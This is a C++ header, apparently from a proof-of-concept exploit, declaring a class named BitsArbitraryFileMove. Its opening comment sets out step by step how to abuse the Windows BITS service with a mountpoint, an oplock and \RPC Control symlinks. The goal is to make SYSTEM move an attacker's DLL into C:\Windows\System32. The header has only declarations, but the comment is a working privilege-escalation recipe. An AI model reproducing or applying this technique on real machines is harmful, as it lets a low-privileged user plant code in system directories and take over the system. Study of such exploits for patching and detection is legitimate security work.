#pragma once

/*
	0) Prepare workspace
		Create C:\workspace\
		Create C:\workspace\mountpoint\
		Create C:\workspace\bait\
		Create C:\workspace\FakeDll.dll

		<DIR> C:\workspace
		|__ <DIR> mountpoint
		|__ <DIR> redir
		|__ FakeDll.dll

	1) Create a mountpoint
		C:\workspace\mountpoint\ -> C:\workspace\bait\

	2) Create the group / job / add file / etc.
		LocalFile = C:\workspace\mountpoint\test.txt

	At this point, a tmp file should have been created with user impersonation
		C:\workspace\bait\BITD857.tmp

	3) Set an oplock on the tmp file
		C:\workspace\bait\BITD857.tmp

	4) Resume the job
		The oplock will be triggered on the write operation as user

	5) Switch the mountpoint and create symlinks
		C:\workspace\mountpoint\ -> \RPC Control
		\RPC Control\BITD857.tmp -> \??\C:\workspace\FakeDll.dll
		\RPC Control\test.txt -> \??\C:\Windows\System32\FakeDll.dll

	6) Release the oplock
		The MoveFileW operation should be done as System
*/

#include <Windows.h>
#include <tchar.h>
#include <strsafe.h>

#define DEBUG FALSE
#define MAX_FILENAME 32
#define MAX_MSG 1024

class BitsArbitraryFileMove
{
private:
	BOOL m_bCustomSourceFile;
	WCHAR m_wszWorkspaceDirPath[MAX_PATH];
	WCHAR m_wszMountpointDirPath[MAX_PATH];
	WCHAR m_wszBaitDirPath[MAX_PATH];
	WCHAR m_wszSourceFilePath[MAX_PATH];
	WCHAR m_wszTargetFilePath[MAX_PATH];
	WCHAR m_wszBitsLocalFileName[MAX_FILENAME];
	WCHAR m_wszBitsTempFileName[MAX_FILENAME];
	WCHAR m_wszBitsTempFilePath[MAX_PATH];

public:
	// Constructor / Destructor 
	BitsArbitraryFileMove();
	~BitsArbitraryFileMove();

public:
	BOOL Run(LPCWSTR pwszDstFile); // e.g.: Destination="C:\Windows\System32\FakeDll.dll" 
	BOOL Run(LPCWSTR pwszSrcFile, LPCWSTR pwszDstFile); // e.g.: Source="C:\Workspace\FakeDll.dll", Destination="C:\Windows\System32\FakeDll.dll" 
	void PrintSuccess(LPCWSTR pwszMsg);

private:
	BOOL PrepareWorkspace();
	BOOL WriteSourceFile();
	BOOL FindBitsTempFile();
	BOOL TargetFileExists();
	void CleanUp();
};

